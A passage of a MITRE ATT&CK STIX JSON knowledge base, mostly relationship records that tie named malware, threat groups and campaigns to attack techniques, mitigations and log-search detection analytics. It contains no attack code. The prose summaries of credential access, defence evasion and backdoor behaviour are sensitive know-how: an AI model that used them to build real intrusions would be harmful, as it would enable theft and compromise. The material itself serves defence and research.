2019)","modified":"2022-04-14T19:29:42.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87406432-7190-4606-980b-441819713d1d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:14:12.146Z","description":"[KARAE](https://attack.mitre.org/software/S0215) can collect system information.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--874148d5-d7cb-43c2-905f-1582f90005f6","type":"relationship","created":"2020-05-06T21:31:07.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.657Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can impersonate a logged-on user's security context using a call to the ImpersonateLoggedOnUser API.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8746c004-3a55-43d0-871e-ebbf792cc9cd","created":"2024-07-01T20:07:26.293Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:07:26.293Z","description":"Consider implementing data retention policies to automate periodically archiving and/or deleting data that is no longer needed. ","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8746c331-10f7-4f7e-8fb9-8957ab3964bb","created":"2024-03-27T20:07:24.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:20:17.087Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) used a Group Policy Object (GPO) to copy [CaddyWiper](https://attack.mitre.org/software/S0693)'s executable `msserver.exe` from a staging server to a local hard drive before deployment.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87480e5f-2284-43cb-86e6-01c0c49c2c23","type":"relationship","created":"2021-02-10T18:12:09.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:12:09.761Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has encrypted communications with the RC4 method.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--874955d4-086a-4232-ab37-3aa2ad5bdfa5","type":"relationship","created":"2020-02-20T19:18:34.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T16:22:38.731Z","description":"Ensure that root accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--874c3f4d-2b9f-414f-9252-b82a7b600986","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:21:56.077Z","description":"Monitor for use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver.\n\nAnalytic 1 - Unexpected kernel driver installations.\n\n (index=security sourcetype=\"WinEventLog:System\" EventCode=7045) OR\n(index=os sourcetype=\"linux_audit\" action=\"add\" path=\"/lib/modules/*/kernel/drivers/\" OR path=\"/etc/udev/rules.d/\") OR\n(index=os sourcetype=\"macos_secure\" message=\"kextload\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--874d3e3b-bf8e-454e-afdb-7986b6c0edc4","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly executed processes that may attempt to gather information about attached peripheral devices and components connected to a computer system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--874d4046-5b9a-4f60-88f4-79ae63a70a1e","type":"relationship","created":"2020-06-16T20:51:13.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.038Z","description":"[RTM](https://attack.mitre.org/software/S0148) has named the scheduled task it creates \"Windows Update\".(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--874f8662-0ec0-48e4-901b-270ac9ed63e6","created":"2023-10-02T17:01:28.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ukraine15 - EISAC - 201603","description":"Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.","url":"https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:03:24.262Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) leveraged Microsoft Office attachments which contained malicious macros that were automatically executed once the user permitted them. (Citation: Ukraine15 - EISAC - 201603)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8756af3a-a756-4e0d-a537-8cab1e983b9b","created":"2023-01-04T18:23:32.612Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-04T18:23:32.612Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the Cloudflare CDN to proxy C2 traffic.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87590696-bf1c-4d42-8ef7-851fb10d8053","created":"2023-04-04T21:53:38.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T22:12:04.191Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can collect the contents of the `%USERPROFILE%\\AppData\\Local\\Google\\Chrome\\User Data\\LocalState` file.(Citation: SentinelLabs Metador Sept 2022) ","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--875a622a-445e-46fe-8959-8d205c88c728","type":"relationship","created":"2020-07-30T18:52:23.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T18:52:23.886Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created new services and modified existing services for persistence.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--875b8782-2c5c-4ff8-8310-995d36fabeb2","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T19:22:20.968Z","description":"Monitor for any attempts to enable scripts running on a system that would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. \n\nNote: Be aware of VBScript execution from temporary or unusual file locations, which may indicate malicious activity.\n\nAnalytic 1 - Script Execution from Temporary Locations \n\n (source=WinEventLog:\"*Microsoft-Windows-PowerShell/Operational\" EventID=\"4103\") | WHERE CommandLine LIKE \"*AppData*.vbs*\" OR CommandLine LIKE \"*AppData*.vbe*\" OR CommandLine LIKE \"*AppData*.vba*\" \n","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--875c4506-3c41-4b4d-bdc9-aa66614cfa55","type":"relationship","created":"2019-01-30T14:11:44.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"}],"modified":"2019-06-24T19:15:06.706Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can disable Windows Defender.(Citation: Trend Micro Trickbot Nov 2018)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--875ed563-004f-4541-99e4-21a556e5400c","created":"2022-04-19T03:08:44.565Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Enforce registration and execution of only legitimately signed service drivers where possible.","modified":"2022-04-19T03:08:44.565Z","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--875eff48-2319-4e86-b3cf-0f17d6253b9c","type":"relationship","created":"2021-07-20T02:46:20.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2022-03-07T19:43:49.895Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent [Visual Basic](https://attack.mitre.org/techniques/T1059/005) scripts from executing potentially malicious downloaded content (Citation: win10_asr).","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87630bba-4308-46f2-9601-7d30795a2eb6","created":"2023-03-24T21:29:58.467Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:29:58.467Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can create seemingly legitimate Registry key to store its encryption key.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8763c8dd-cd68-4402-be43-4dbd96c83c2d","type":"relationship","created":"2020-06-29T15:17:53.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:17:53.832Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to gather the victim's computer name.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87648492-36d0-4f94-b318-17280b101678","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-02-18T03:40:29.867Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) recursively generates a list of files within a directory and sends them back to the control server.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T20:19:35.791Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) performs a connection test to discover remote systems in the network(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87661f05-f448-49be-afa8-d8198a1c0092","type":"relationship","created":"2021-02-03T18:26:21.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}],"modified":"2021-04-21T02:25:51.085Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has collected e-mail addresses from targeted organizations from open Internet searches.(Citation: DOJ Iran Indictments March 2018)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8767be49-dbb2-493f-82b7-cc0053f02c8e","type":"relationship","created":"2020-03-11T14:13:43.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-07T12:42:39.292Z","description":"A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8769bb08-b5e3-4264-95ac-6164bdbd54f3","type":"relationship","created":"2020-11-25T21:00:55.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T21:00:55.904Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--876a57e9-4a60-4863-a1b7-c1dad9903971","type":"relationship","created":"2021-06-30T17:12:55.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-20T20:17:35.585Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used Python scripts for execution and the installation of additional files.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--876be539-dc82-4714-b66a-93109a63822e","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to files that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--876deeac-5c87-4d3d-b6a5-68512b9fb6d1","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87700efb-fbfa-44c9-a799-d1a557d05645","created":"2024-02-09T19:41:49.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T16:21:58.916Z","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) has the ability to process HTTP GET requests as a normal web server and to insert logic that will read or write files or execute commands in response to HTTP POST requests.(Citation: Mandiant Pulse Secure Zero-Day April 